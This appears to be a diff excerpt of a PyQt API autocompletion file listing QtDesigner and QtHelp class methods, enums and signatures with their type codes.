+QtDesigner.QDesignerFormWindowInterface.FeatureFlag.GridFeature?10 +QtDesigner.QDesignerFormWindowInterface.FeatureFlag.TabOrderFeature?10 +QtDesigner.QDesignerFormWindowInterface.FeatureFlag.DefaultFeature?10 +QtDesigner.QDesignerFormWindowInterface?1(QWidget parent=None, Qt.WindowFlags flags=0) +QtDesigner.QDesignerFormWindowInterface.__init__?1(self, QWidget parent=None, Qt.WindowFlags flags=0) +QtDesigner.QDesignerFormWindowInterface.fileName?4() -> QString +QtDesigner.QDesignerFormWindowInterface.absoluteDir?4() -> QDir +QtDesigner.QDesignerFormWindowInterface.contents?4() -> QString +QtDesigner.QDesignerFormWindowInterface.setContents?4(QIODevice, QString errorMessage='') -> bool +QtDesigner.QDesignerFormWindowInterface.features?4() -> QDesignerFormWindowInterface.Feature +QtDesigner.QDesignerFormWindowInterface.hasFeature?4(QDesignerFormWindowInterface.Feature) -> bool +QtDesigner.QDesignerFormWindowInterface.author?4() -> QString +QtDesigner.QDesignerFormWindowInterface.setAuthor?4(QString) +QtDesigner.QDesignerFormWindowInterface.comment?4() -> QString +QtDesigner.QDesignerFormWindowInterface.setComment?4(QString) +QtDesigner.QDesignerFormWindowInterface.layoutDefault?4() -> (int, int) +QtDesigner.QDesignerFormWindowInterface.setLayoutDefault?4(int, int) +QtDesigner.QDesignerFormWindowInterface.layoutFunction?4() -> (QString, QString) +QtDesigner.QDesignerFormWindowInterface.setLayoutFunction?4(QString, QString) +QtDesigner.QDesignerFormWindowInterface.pixmapFunction?4() -> QString +QtDesigner.QDesignerFormWindowInterface.setPixmapFunction?4(QString) +QtDesigner.QDesignerFormWindowInterface.exportMacro?4() -> QString +QtDesigner.QDesignerFormWindowInterface.setExportMacro?4(QString) +QtDesigner.QDesignerFormWindowInterface.includeHints?4() -> QStringList +QtDesigner.QDesignerFormWindowInterface.setIncludeHints?4(QStringList) +QtDesigner.QDesignerFormWindowInterface.core?4() -> QDesignerFormEditorInterface +QtDesigner.QDesignerFormWindowInterface.cursor?4() -> QDesignerFormWindowCursorInterface +QtDesigner.QDesignerFormWindowInterface.grid?4() -> QPoint +QtDesigner.QDesignerFormWindowInterface.mainContainer?4() -> QWidget +QtDesigner.QDesignerFormWindowInterface.setMainContainer?4(QWidget) +QtDesigner.QDesignerFormWindowInterface.isManaged?4(QWidget) -> bool +QtDesigner.QDesignerFormWindowInterface.isDirty?4() -> bool +QtDesigner.QDesignerFormWindowInterface.findFormWindow?4(QWidget) -> QDesignerFormWindowInterface +QtDesigner.QDesignerFormWindowInterface.findFormWindow?4(QObject) -> QDesignerFormWindowInterface +QtDesigner.QDesignerFormWindowInterface.emitSelectionChanged?4() +QtDesigner.QDesignerFormWindowInterface.resourceFiles?4() -> QStringList +QtDesigner.QDesignerFormWindowInterface.addResourceFile?4(QString) +QtDesigner.QDesignerFormWindowInterface.removeResourceFile?4(QString) +QtDesigner.QDesignerFormWindowInterface.manageWidget?4(QWidget) +QtDesigner.QDesignerFormWindowInterface.unmanageWidget?4(QWidget) +QtDesigner.QDesignerFormWindowInterface.setFeatures?4(QDesignerFormWindowInterface.Feature) +QtDesigner.QDesignerFormWindowInterface.setDirty?4(bool) +QtDesigner.QDesignerFormWindowInterface.clearSelection?4(bool update=True) +QtDesigner.QDesignerFormWindowInterface.selectWidget?4(QWidget, bool select=True) +QtDesigner.QDesignerFormWindowInterface.setGrid?4(QPoint) +QtDesigner.QDesignerFormWindowInterface.setFileName?4(QString) +QtDesigner.QDesignerFormWindowInterface.setContents?4(QString) -> bool +QtDesigner.QDesignerFormWindowInterface.mainContainerChanged?4(QWidget) +QtDesigner.QDesignerFormWindowInterface.fileNameChanged?4(QString) +QtDesigner.QDesignerFormWindowInterface.featureChanged?4(QDesignerFormWindowInterface.Feature) +QtDesigner.QDesignerFormWindowInterface.selectionChanged?4() +QtDesigner.QDesignerFormWindowInterface.geometryChanged?4() +QtDesigner.QDesignerFormWindowInterface.resourceFilesChanged?4() +QtDesigner.QDesignerFormWindowInterface.widgetManaged?4(QWidget) +QtDesigner.QDesignerFormWindowInterface.widgetUnmanaged?4(QWidget) +QtDesigner.QDesignerFormWindowInterface.aboutToUnmanageWidget?4(QWidget) +QtDesigner.QDesignerFormWindowInterface.activated?4(QWidget) +QtDesigner.QDesignerFormWindowInterface.changed?4() +QtDesigner.QDesignerFormWindowInterface.widgetRemoved?4(QWidget) +QtDesigner.QDesignerFormWindowInterface.objectRemoved?4(QObject) +QtDesigner.QDesignerFormWindowInterface.checkContents?4() -> QStringList +QtDesigner.QDesignerFormWindowInterface.activeResourceFilePaths?4() -> QStringList +QtDesigner.QDesignerFormWindowInterface.formContainer?4() -> QWidget +QtDesigner.QDesignerFormWindowInterface.activateResourceFilePaths?4(QStringList) -> (int, QString) +QtDesigner.QDesignerFormWindowInterface.Feature?1() +QtDesigner.QDesignerFormWindowInterface.Feature.__init__?1(self) +QtDesigner.QDesignerFormWindowInterface.Feature?1(int) +QtDesigner.QDesignerFormWindowInterface.Feature.__init__?1(self, int) +QtDesigner.QDesignerFormWindowInterface.Feature?1(QDesignerFormWindowInterface.Feature) +QtDesigner.QDesignerFormWindowInterface.Feature.__init__?1(self, QDesignerFormWindowInterface.Feature) +QtDesigner.QDesignerFormWindowCursorInterface.MoveMode?10 +QtDesigner.QDesignerFormWindowCursorInterface.MoveMode.MoveAnchor?10 +QtDesigner.QDesignerFormWindowCursorInterface.MoveMode.KeepAnchor?10 +QtDesigner.QDesignerFormWindowCursorInterface.MoveOperation?10 +QtDesigner.QDesignerFormWindowCursorInterface.MoveOperation.NoMove?10 +QtDesigner.QDesignerFormWindowCursorInterface.MoveOperation.Start?10 +QtDesigner.QDesignerFormWindowCursorInterface.MoveOperation.End?10 +QtDesigner.QDesignerFormWindowCursorInterface.MoveOperation.Next?10 +QtDesigner.QDesignerFormWindowCursorInterface.MoveOperation.Prev?10 +QtDesigner.QDesignerFormWindowCursorInterface.MoveOperation.Left?10 +QtDesigner.QDesignerFormWindowCursorInterface.MoveOperation.Right?10 +QtDesigner.QDesignerFormWindowCursorInterface.MoveOperation.Up?10 +QtDesigner.QDesignerFormWindowCursorInterface.MoveOperation.Down?10 +QtDesigner.QDesignerFormWindowCursorInterface?1() +QtDesigner.QDesignerFormWindowCursorInterface.__init__?1(self) +QtDesigner.QDesignerFormWindowCursorInterface?1(QDesignerFormWindowCursorInterface) +QtDesigner.QDesignerFormWindowCursorInterface.__init__?1(self, QDesignerFormWindowCursorInterface) +QtDesigner.QDesignerFormWindowCursorInterface.formWindow?4() -> QDesignerFormWindowInterface +QtDesigner.QDesignerFormWindowCursorInterface.movePosition?4(QDesignerFormWindowCursorInterface.MoveOperation, QDesignerFormWindowCursorInterface.MoveMode mode=QDesignerFormWindowCursorInterface.MoveAnchor) -> bool +QtDesigner.QDesignerFormWindowCursorInterface.position?4() -> int +QtDesigner.QDesignerFormWindowCursorInterface.setPosition?4(int, QDesignerFormWindowCursorInterface.MoveMode mode=QDesignerFormWindowCursorInterface.MoveAnchor) +QtDesigner.QDesignerFormWindowCursorInterface.current?4() -> QWidget +QtDesigner.QDesignerFormWindowCursorInterface.widgetCount?4() -> int +QtDesigner.QDesignerFormWindowCursorInterface.widget?4(int) -> QWidget +QtDesigner.QDesignerFormWindowCursorInterface.hasSelection?4() -> bool +QtDesigner.QDesignerFormWindowCursorInterface.selectedWidgetCount?4() -> int +QtDesigner.QDesignerFormWindowCursorInterface.selectedWidget?4(int) -> QWidget +QtDesigner.QDesignerFormWindowCursorInterface.setProperty?4(QString, QVariant) +QtDesigner.QDesignerFormWindowCursorInterface.setWidgetProperty?4(QWidget, QString, QVariant) +QtDesigner.QDesignerFormWindowCursorInterface.resetWidgetProperty?4(QWidget, QString) +QtDesigner.QDesignerFormWindowCursorInterface.isWidgetSelected?4(QWidget) -> bool +QtDesigner.QDesignerFormWindowManagerInterface.ActionGroup?10 +QtDesigner.QDesignerFormWindowManagerInterface.ActionGroup.StyledPreviewActionGroup?10 +QtDesigner.QDesignerFormWindowManagerInterface.Action?10 +QtDesigner.QDesignerFormWindowManagerInterface.Action.CutAction?10 +QtDesigner.QDesignerFormWindowManagerInterface.Action.CopyAction?10 +QtDesigner.QDesignerFormWindowManagerInterface.Action.PasteAction?10 +QtDesigner.QDesignerFormWindowManagerInterface.Action.DeleteAction?10 +QtDesigner.QDesignerFormWindowManagerInterface.Action.SelectAllAction?10 +QtDesigner.QDesignerFormWindowManagerInterface.Action.LowerAction?10 +QtDesigner.QDesignerFormWindowManagerInterface.Action.RaiseAction?10 +QtDesigner.QDesignerFormWindowManagerInterface.Action.UndoAction?10 +QtDesigner.QDesignerFormWindowManagerInterface.Action.RedoAction?10 +QtDesigner.QDesignerFormWindowManagerInterface.Action.HorizontalLayoutAction?10 +QtDesigner.QDesignerFormWindowManagerInterface.Action.VerticalLayoutAction?10 +QtDesigner.QDesignerFormWindowManagerInterface.Action.SplitHorizontalAction?10 +QtDesigner.QDesignerFormWindowManagerInterface.Action.SplitVerticalAction?10 +QtDesigner.QDesignerFormWindowManagerInterface.Action.GridLayoutAction?10 +QtDesigner.QDesignerFormWindowManagerInterface.Action.FormLayoutAction?10 +QtDesigner.QDesignerFormWindowManagerInterface.Action.BreakLayoutAction?10 +QtDesigner.QDesignerFormWindowManagerInterface.Action.AdjustSizeAction?10 +QtDesigner.QDesignerFormWindowManagerInterface.Action.SimplifyLayoutAction?10 +QtDesigner.QDesignerFormWindowManagerInterface.Action.DefaultPreviewAction?10 +QtDesigner.QDesignerFormWindowManagerInterface.Action.FormWindowSettingsDialogAction?10 +QtDesigner.QDesignerFormWindowManagerInterface?1(QObject parent=None) +QtDesigner.QDesignerFormWindowManagerInterface.__init__?1(self, QObject parent=None) +QtDesigner.QDesignerFormWindowManagerInterface.actionFormLayout?4() -> QAction +QtDesigner.QDesignerFormWindowManagerInterface.actionSimplifyLayout?4() -> QAction +QtDesigner.QDesignerFormWindowManagerInterface.activeFormWindow?4() -> QDesignerFormWindowInterface +QtDesigner.QDesignerFormWindowManagerInterface.formWindowCount?4() -> int +QtDesigner.QDesignerFormWindowManagerInterface.formWindow?4(int) -> QDesignerFormWindowInterface +QtDesigner.QDesignerFormWindowManagerInterface.createFormWindow?4(QWidget parent=None, Qt.WindowFlags flags=0) -> QDesignerFormWindowInterface +QtDesigner.QDesignerFormWindowManagerInterface.core?4() -> QDesignerFormEditorInterface +QtDesigner.QDesignerFormWindowManagerInterface.formWindowAdded?4(QDesignerFormWindowInterface) +QtDesigner.QDesignerFormWindowManagerInterface.formWindowRemoved?4(QDesignerFormWindowInterface) +QtDesigner.QDesignerFormWindowManagerInterface.activeFormWindowChanged?4(QDesignerFormWindowInterface) +QtDesigner.QDesignerFormWindowManagerInterface.formWindowSettingsChanged?4(QDesignerFormWindowInterface) +QtDesigner.QDesignerFormWindowManagerInterface.addFormWindow?4(QDesignerFormWindowInterface) +QtDesigner.QDesignerFormWindowManagerInterface.removeFormWindow?4(QDesignerFormWindowInterface) +QtDesigner.QDesignerFormWindowManagerInterface.setActiveFormWindow?4(QDesignerFormWindowInterface) +QtDesigner.QDesignerFormWindowManagerInterface.action?4(QDesignerFormWindowManagerInterface.Action) -> QAction +QtDesigner.QDesignerFormWindowManagerInterface.actionGroup?4(QDesignerFormWindowManagerInterface.ActionGroup) -> QActionGroup +QtDesigner.QDesignerFormWindowManagerInterface.showPreview?4() +QtDesigner.QDesignerFormWindowManagerInterface.closeAllPreviews?4() +QtDesigner.QDesignerFormWindowManagerInterface.showPluginDialog?4() +QtDesigner.QDesignerObjectInspectorInterface?1(QWidget, Qt.WindowFlags flags=0) +QtDesigner.QDesignerObjectInspectorInterface.__init__?1(self, QWidget, Qt.WindowFlags flags=0) +QtDesigner.QDesignerObjectInspectorInterface.core?4() -> QDesignerFormEditorInterface +QtDesigner.QDesignerObjectInspectorInterface.setFormWindow?4(QDesignerFormWindowInterface) +QtDesigner.QDesignerPropertyEditorInterface?1(QWidget, Qt.WindowFlags flags=0) +QtDesigner.QDesignerPropertyEditorInterface.__init__?1(self, QWidget, Qt.WindowFlags flags=0) +QtDesigner.QDesignerPropertyEditorInterface.core?4() -> QDesignerFormEditorInterface +QtDesigner.QDesignerPropertyEditorInterface.isReadOnly?4() -> bool +QtDesigner.QDesignerPropertyEditorInterface.object?4() -> QObject +QtDesigner.QDesignerPropertyEditorInterface.currentPropertyName?4() -> QString +QtDesigner.QDesignerPropertyEditorInterface.propertyChanged?4(QString, QVariant) +QtDesigner.QDesignerPropertyEditorInterface.setObject?4(QObject) +QtDesigner.QDesignerPropertyEditorInterface.setPropertyValue?4(QString, QVariant, bool changed=True) +QtDesigner.QDesignerPropertyEditorInterface.setReadOnly?4(bool) +QtDesigner.QDesignerWidgetBoxInterface?1(QWidget parent=None, Qt.WindowFlags flags=0) +QtDesigner.QDesignerWidgetBoxInterface.__init__?1(self, QWidget parent=None, Qt.WindowFlags flags=0) +QtDesigner.QDesignerWidgetBoxInterface.setFileName?4(QString) +QtDesigner.QDesignerWidgetBoxInterface.fileName?4() -> QString +QtDesigner.QDesignerWidgetBoxInterface.load?4() -> bool +QtDesigner.QDesignerWidgetBoxInterface.save?4() -> bool +QtDesigner.QDesignerContainerExtension?1() +QtDesigner.QDesignerContainerExtension.__init__?1(self) +QtDesigner.QDesignerContainerExtension?1(QDesignerContainerExtension) +QtDesigner.QDesignerContainerExtension.__init__?1(self, QDesignerContainerExtension) +QtDesigner.QDesignerContainerExtension.count?4() -> int +QtDesigner.QDesignerContainerExtension.widget?4(int) -> QWidget +QtDesigner.QDesignerContainerExtension.currentIndex?4() -> int +QtDesigner.QDesignerContainerExtension.setCurrentIndex?4(int) +QtDesigner.QDesignerContainerExtension.addWidget?4(QWidget) +QtDesigner.QDesignerContainerExtension.insertWidget?4(int, QWidget) +QtDesigner.QDesignerContainerExtension.remove?4(int) +QtDesigner.QDesignerContainerExtension.canAddWidget?4() -> bool +QtDesigner.QDesignerContainerExtension.canRemove?4(int) -> bool +QtDesigner.QDesignerCustomWidgetInterface?1() +QtDesigner.QDesignerCustomWidgetInterface.__init__?1(self) +QtDesigner.QDesignerCustomWidgetInterface?1(QDesignerCustomWidgetInterface) +QtDesigner.QDesignerCustomWidgetInterface.__init__?1(self, QDesignerCustomWidgetInterface) +QtDesigner.QDesignerCustomWidgetInterface.name?4() -> QString +QtDesigner.QDesignerCustomWidgetInterface.group?4() -> QString +QtDesigner.QDesignerCustomWidgetInterface.toolTip?4() -> QString +QtDesigner.QDesignerCustomWidgetInterface.whatsThis?4() -> QString +QtDesigner.QDesignerCustomWidgetInterface.includeFile?4() -> QString +QtDesigner.QDesignerCustomWidgetInterface.icon?4() -> QIcon +QtDesigner.QDesignerCustomWidgetInterface.isContainer?4() -> bool +QtDesigner.QDesignerCustomWidgetInterface.createWidget?4(QWidget) -> QWidget +QtDesigner.QDesignerCustomWidgetInterface.isInitialized?4() -> bool +QtDesigner.QDesignerCustomWidgetInterface.initialize?4(QDesignerFormEditorInterface) +QtDesigner.QDesignerCustomWidgetInterface.domXml?4() -> QString +QtDesigner.QDesignerCustomWidgetInterface.codeTemplate?4() -> QString +QtDesigner.QDesignerCustomWidgetCollectionInterface?1() +QtDesigner.QDesignerCustomWidgetCollectionInterface.__init__?1(self) +QtDesigner.QDesignerCustomWidgetCollectionInterface?1(QDesignerCustomWidgetCollectionInterface) +QtDesigner.QDesignerCustomWidgetCollectionInterface.__init__?1(self, QDesignerCustomWidgetCollectionInterface) +QtDesigner.QDesignerCustomWidgetCollectionInterface.customWidgets?4() -> unknown-type +QtDesigner.QAbstractExtensionFactory?1() +QtDesigner.QAbstractExtensionFactory.__init__?1(self) +QtDesigner.QAbstractExtensionFactory?1(QAbstractExtensionFactory) +QtDesigner.QAbstractExtensionFactory.__init__?1(self, QAbstractExtensionFactory) +QtDesigner.QAbstractExtensionFactory.extension?4(QObject, QString) -> QObject +QtDesigner.QExtensionFactory?1(QExtensionManager parent=None) +QtDesigner.QExtensionFactory.__init__?1(self, QExtensionManager parent=None) +QtDesigner.QExtensionFactory.extension?4(QObject, QString) -> QObject +QtDesigner.QExtensionFactory.extensionManager?4() -> QExtensionManager +QtDesigner.QExtensionFactory.createExtension?4(QObject, QString, QObject) -> QObject +QtDesigner.QAbstractExtensionManager?1() +QtDesigner.QAbstractExtensionManager.__init__?1(self) +QtDesigner.QAbstractExtensionManager?1(QAbstractExtensionManager) +QtDesigner.QAbstractExtensionManager.__init__?1(self, QAbstractExtensionManager) +QtDesigner.QAbstractExtensionManager.registerExtensions?4(QAbstractExtensionFactory, QString) +QtDesigner.QAbstractExtensionManager.unregisterExtensions?4(QAbstractExtensionFactory, QString) +QtDesigner.QAbstractExtensionManager.extension?4(QObject, QString) -> QObject +QtDesigner.QFormBuilder?1() +QtDesigner.QFormBuilder.__init__?1(self) +QtDesigner.QFormBuilder.pluginPaths?4() -> QStringList +QtDesigner.QFormBuilder.clearPluginPaths?4() +QtDesigner.QFormBuilder.addPluginPath?4(QString) +QtDesigner.QFormBuilder.setPluginPath?4(QStringList) +QtDesigner.QFormBuilder.customWidgets?4() -> unknown-type +QtDesigner.QDesignerMemberSheetExtension?1() +QtDesigner.QDesignerMemberSheetExtension.__init__?1(self) +QtDesigner.QDesignerMemberSheetExtension?1(QDesignerMemberSheetExtension) +QtDesigner.QDesignerMemberSheetExtension.__init__?1(self, QDesignerMemberSheetExtension) +QtDesigner.QDesignerMemberSheetExtension.count?4() -> int +QtDesigner.QDesignerMemberSheetExtension.indexOf?4(QString) -> int +QtDesigner.QDesignerMemberSheetExtension.memberName?4(int) -> QString +QtDesigner.QDesignerMemberSheetExtension.memberGroup?4(int) -> QString +QtDesigner.QDesignerMemberSheetExtension.setMemberGroup?4(int, QString) +QtDesigner.QDesignerMemberSheetExtension.isVisible?4(int) -> bool +QtDesigner.QDesignerMemberSheetExtension.setVisible?4(int, bool) +QtDesigner.QDesignerMemberSheetExtension.isSignal?4(int) -> bool +QtDesigner.QDesignerMemberSheetExtension.isSlot?4(int) -> bool +QtDesigner.QDesignerMemberSheetExtension.inheritedFromWidget?4(int) -> bool +QtDesigner.QDesignerMemberSheetExtension.declaredInClass?4(int) -> QString +QtDesigner.QDesignerMemberSheetExtension.signature?4(int) -> QString +QtDesigner.QDesignerMemberSheetExtension.parameterTypes?4(int) -> unknown-type +QtDesigner.QDesignerMemberSheetExtension.parameterNames?4(int) -> unknown-type +QtDesigner.QDesignerPropertySheetExtension?1() +QtDesigner.QDesignerPropertySheetExtension.__init__?1(self) +QtDesigner.QDesignerPropertySheetExtension?1(QDesignerPropertySheetExtension) +QtDesigner.QDesignerPropertySheetExtension.__init__?1(self, QDesignerPropertySheetExtension) +QtDesigner.QDesignerPropertySheetExtension.count?4() -> int +QtDesigner.QDesignerPropertySheetExtension.indexOf?4(QString) -> int +QtDesigner.QDesignerPropertySheetExtension.propertyName?4(int) -> QString +QtDesigner.QDesignerPropertySheetExtension.propertyGroup?4(int) -> QString +QtDesigner.QDesignerPropertySheetExtension.setPropertyGroup?4(int, QString) +QtDesigner.QDesignerPropertySheetExtension.hasReset?4(int) -> bool +QtDesigner.QDesignerPropertySheetExtension.reset?4(int) -> bool +QtDesigner.QDesignerPropertySheetExtension.isVisible?4(int) -> bool +QtDesigner.QDesignerPropertySheetExtension.setVisible?4(int, bool) +QtDesigner.QDesignerPropertySheetExtension.isAttribute?4(int) -> bool +QtDesigner.QDesignerPropertySheetExtension.setAttribute?4(int, bool) +QtDesigner.QDesignerPropertySheetExtension.property?4(int) -> QVariant +QtDesigner.QDesignerPropertySheetExtension.setProperty?4(int, QVariant) +QtDesigner.QDesignerPropertySheetExtension.isChanged?4(int) -> bool +QtDesigner.QDesignerPropertySheetExtension.setChanged?4(int, bool) +QtDesigner.QDesignerPropertySheetExtension.isEnabled?4(int) -> bool +QtDesigner.QExtensionManager?1(QObject parent=None) +QtDesigner.QExtensionManager.__init__?1(self, QObject parent=None) +QtDesigner.QExtensionManager.registerExtensions?4(QAbstractExtensionFactory, QString iid='') +QtDesigner.QExtensionManager.unregisterExtensions?4(QAbstractExtensionFactory, QString iid='') +QtDesigner.QExtensionManager.extension?4(QObject, QString) -> QObject +QtDesigner.QDesignerTaskMenuExtension?1() +QtDesigner.QDesignerTaskMenuExtension.__init__?1(self) +QtDesigner.QDesignerTaskMenuExtension?1(QDesignerTaskMenuExtension) +QtDesigner.QDesignerTaskMenuExtension.__init__?1(self, QDesignerTaskMenuExtension) +QtDesigner.QDesignerTaskMenuExtension.taskActions?4() -> unknown-type +QtDesigner.QDesignerTaskMenuExtension.preferredEditAction?4() -> QAction +QtDesigner.QPyDesignerContainerExtension?1(QObject) +QtDesigner.QPyDesignerContainerExtension.__init__?1(self, QObject) +QtDesigner.QPyDesignerCustomWidgetCollectionPlugin?1(QObject parent=None) +QtDesigner.QPyDesignerCustomWidgetCollectionPlugin.__init__?1(self, QObject parent=None) +QtDesigner.QPyDesignerCustomWidgetPlugin?1(QObject parent=None) +QtDesigner.QPyDesignerCustomWidgetPlugin.__init__?1(self, QObject parent=None) +QtDesigner.QPyDesignerMemberSheetExtension?1(QObject) +QtDesigner.QPyDesignerMemberSheetExtension.__init__?1(self, QObject) +QtDesigner.QPyDesignerPropertySheetExtension?1(QObject) +QtDesigner.QPyDesignerPropertySheetExtension.__init__?1(self, QObject) +QtDesigner.QPyDesignerTaskMenuExtension?1(QObject) +QtDesigner.QPyDesignerTaskMenuExtension.__init__?1(self, QObject) +QtHelp.QCompressedHelpInfo?1() +QtHelp.QCompressedHelpInfo.__init__?1(self) +QtHelp.QCompressedHelpInfo?1(QCompressedHelpInfo) +QtHelp.QCompressedHelpInfo.__init__?1(self, QCompressedHelpInfo) +QtHelp.QCompressedHelpInfo.swap?4(QCompressedHelpInfo) +QtHelp.QCompressedHelpInfo.namespaceName?4() -> QString +QtHelp.QCompressedHelpInfo.component?4() -> QString +QtHelp.QCompressedHelpInfo.version?4() -> QVersionNumber +QtHelp.QCompressedHelpInfo.fromCompressedHelpFile?4(QString) -> QCompressedHelpInfo +QtHelp.QCompressedHelpInfo.isNull?4() -> bool +QtHelp.QHelpContentItem.child?4(int) -> QHelpContentItem +QtHelp.QHelpContentItem.childCount?4() -> int +QtHelp.QHelpContentItem.title?4() -> QString +QtHelp.QHelpContentItem.url?4() -> QUrl +QtHelp.QHelpContentItem.row?4() -> int +QtHelp.QHelpContentItem.parent?4() -> QHelpContentItem +QtHelp.QHelpContentItem.childPosition?4(QHelpContentItem) -> int +QtHelp.QHelpContentModel.createContents?4(QString) +QtHelp.QHelpContentModel.contentItemAt?4(QModelIndex) -> QHelpContentItem +QtHelp.QHelpContentModel.data?4(QModelIndex, int) -> QVariant +QtHelp.QHelpContentModel.index?4(int, int, QModelIndex parent=QModelIndex()) -> QModelIndex +QtHelp.QHelpContentModel.parent?4(QModelIndex) -> QModelIndex +QtHelp.QHelpContentModel.rowCount?4(QModelIndex parent=QModelIndex()) -> int +QtHelp.QHelpContentModel.columnCount?4(QModelIndex parent=QModelIndex()) -> int +QtHelp.QHelpContentModel.isCreatingContents?4() -> bool +QtHelp.QHelpContentModel.contentsCreationStarted?4() +QtHelp.QHelpContentModel.contentsCreated?4() +QtHelp.QHelpContentWidget.indexOf?4(QUrl) -> QModelIndex +QtHelp.QHelpContentWidget.linkActivated?4(QUrl) +QtHelp.QHelpEngineCore?1(QString, QObject parent=None) +QtHelp.QHelpEngineCore.__init__?1(self, QString, QObject parent=None) +QtHelp.QHelpEngineCore.setupData?4() -> bool +QtHelp.QHelpEngineCore.collectionFile?4() -> QString +QtHelp.QHelpEngineCore.setCollectionFile?4(QString) +QtHelp.QHelpEngineCore.copyCollectionFile?4(QString) -> bool +QtHelp.QHelpEngineCore.namespaceName?4(QString) -> QString +QtHelp.QHelpEngineCore.registerDocumentation?4(QString) -> bool +QtHelp.QHelpEngineCore.unregisterDocumentation?4(QString) -> bool +QtHelp.QHelpEngineCore.documentationFileName?4(QString) -> QString +QtHelp.QHelpEngineCore.customFilters?4() -> QStringList +QtHelp.QHelpEngineCore.removeCustomFilter?4(QString) -> bool +QtHelp.QHelpEngineCore.addCustomFilter?4(QString, QStringList) -> bool +QtHelp.QHelpEngineCore.filterAttributes?4() -> QStringList +QtHelp.QHelpEngineCore.filterAttributes?4(QString) -> QStringList +QtHelp.QHelpEngineCore.currentFilter?4() -> QString +QtHelp.QHelpEngineCore.setCurrentFilter?4(QString) +QtHelp.QHelpEngineCore.registeredDocumentations?4() -> QStringList +QtHelp.QHelpEngineCore.filterAttributeSets?4(QString) -> unknown-type +QtHelp.QHelpEngineCore.files?4(QString, QStringList, QString extensionFilter='') -> unknown-type +QtHelp.QHelpEngineCore.findFile?4(QUrl) -> QUrl +QtHelp.QHelpEngineCore.fileData?4(QUrl) -> QByteArray +QtHelp.QHelpEngineCore.linksForIdentifier?4(QString) -> unknown-type +QtHelp.QHelpEngineCore.linksForKeyword?4(QString) -> unknown-type +QtHelp.QHelpEngineCore.removeCustomValue?4(QString) -> bool +QtHelp.QHelpEngineCore.customValue?4(QString, QVariant defaultValue=None) -> QVariant +QtHelp.QHelpEngineCore.setCustomValue?4(QString, QVariant) -> bool +QtHelp.QHelpEngineCore.metaData?4(QString, QString) -> QVariant +QtHelp.QHelpEngineCore.error?4() -> QString +QtHelp.QHelpEngineCore.autoSaveFilter?4() -> bool +QtHelp.QHelpEngineCore.setAutoSaveFilter?4(bool) +QtHelp.QHelpEngineCore.setupStarted?4() +QtHelp.QHelpEngineCore.setupFinished?4() +QtHelp.QHelpEngineCore.currentFilterChanged?4(QString) +QtHelp.QHelpEngineCore.warning?4(QString) +QtHelp.QHelpEngineCore.readersAboutToBeInvalidated?4() +QtHelp.QHelpEngineCore.filterEngine?4() -> QHelpFilterEngine +QtHelp.QHelpEngineCore.files?4(QString, QString, QString extensionFilter='') -> unknown-type +QtHelp.QHelpEngineCore.setUsesFilterEngine?4(bool) +QtHelp.QHelpEngineCore.usesFilterEngine?4() -> bool +QtHelp.QHelpEngineCore.documentsForIdentifier?4(QString) -> unknown-type +QtHelp.QHelpEngineCore.documentsForIdentifier?4(QString, QString) -> unknown-type +QtHelp.QHelpEngineCore.documentsForKeyword?4(QString) -> unknown-type +QtHelp.QHelpEngineCore.documentsForKeyword?4(QString, QString) -> unknown-type +QtHelp.QHelpEngine?1(QString, QObject parent=None) +QtHelp.QHelpEngine.__init__?1(self, QString, QObject parent=None) +QtHelp.QHelpEngine.contentModel?4() -> QHelpContentModel +QtHelp.QHelpEngine.indexModel?4() -> QHelpIndexModel +QtHelp.QHelpEngine.contentWidget?4() -> QHelpContentWidget +QtHelp.QHelpEngine.indexWidget?4() -> QHelpIndexWidget +QtHelp.QHelpEngine.searchEngine?4() -> QHelpSearchEngine +QtHelp.QHelpFilterData?1() +QtHelp.QHelpFilterData.__init__?1(self) +QtHelp.QHelpFilterData?1(QHelpFilterData) +QtHelp.QHelpFilterData.__init__?1(self, QHelpFilterData) +QtHelp.QHelpFilterData.swap?4(QHelpFilterData) +QtHelp.QHelpFilterData.setComponents?4(QStringList) +QtHelp.QHelpFilterData.setVersions?4(unknown-type) +QtHelp.QHelpFilterData.components?4() -> QStringList +QtHelp.QHelpFilterData.versions?4() -> unknown-type +QtHelp.QHelpFilterEngine.namespaceToComponent?4() -> unknown-type +QtHelp.QHelpFilterEngine.namespaceToVersion?4() -> unknown-type +QtHelp.QHelpFilterEngine.filters?4() -> QStringList +QtHelp.QHelpFilterEngine.activeFilter?4() -> QString +QtHelp.QHelpFilterEngine.setActiveFilter?4(QString) -> bool +QtHelp.QHelpFilterEngine.availableComponents?4() -> QStringList +QtHelp.QHelpFilterEngine.filterData?4(QString) -> QHelpFilterData +QtHelp.QHelpFilterEngine.setFilterData?4(QString, QHelpFilterData) -> bool +QtHelp.QHelpFilterEngine.removeFilter?4(QString) -> bool +QtHelp.QHelpFilterEngine.namespacesForFilter?4(QString) -> QStringList +QtHelp.QHelpFilterEngine.filterActivated?4(QString) +QtHelp.QHelpFilterEngine.availableVersions?4() -> unknown-type +QtHelp.QHelpFilterEngine.indices?4() -> QStringList +QtHelp.QHelpFilterEngine.indices?4(QString) -> QStringList +QtHelp.QHelpFilterSettingsWidget?1(QWidget parent=None) +QtHelp.QHelpFilterSettingsWidget.__init__?1(self, QWidget parent=None) +QtHelp.QHelpFilterSettingsWidget.setAvailableComponents?4(QStringList) +QtHelp.QHelpFilterSettingsWidget.setAvailableVersions?4(unknown-type) +QtHelp.QHelpFilterSettingsWidget.readSettings?4(QHelpFilterEngine) +QtHelp.QHelpFilterSettingsWidget.applySettings?4(QHelpFilterEngine) -> bool +QtHelp.QHelpIndexModel.helpEngine?4() -> QHelpEngineCore +QtHelp.QHelpIndexModel.createIndex?4(QString) +QtHelp.QHelpIndexModel.filter?4(QString, QString wildcard='') -> QModelIndex +QtHelp.QHelpIndexModel.linksForKeyword?4(QString) -> unknown-type +QtHelp.QHelpIndexModel.isCreatingIndex?4() -> bool +QtHelp.QHelpIndexModel.indexCreationStarted?4() +QtHelp.QHelpIndexModel.indexCreated?4() +QtHelp.QHelpIndexWidget.linkActivated?4(QUrl, QString) +QtHelp.QHelpIndexWidget.linksActivated?4(unknown-type, QString) +QtHelp.QHelpIndexWidget.filterIndices?4(QString, QString wildcard='') +QtHelp.QHelpIndexWidget.activateCurrentItem?4() +QtHelp.QHelpIndexWidget.documentActivated?4(QHelpLink, QString) +QtHelp.QHelpIndexWidget.documentsActivated?4(unknown-type, QString) +QtHelp.QHelpLink.title?7 +QtHelp.QHelpLink.url?7 +QtHelp.QHelpLink?1() +QtHelp.QHelpLink.__init__?1(self) 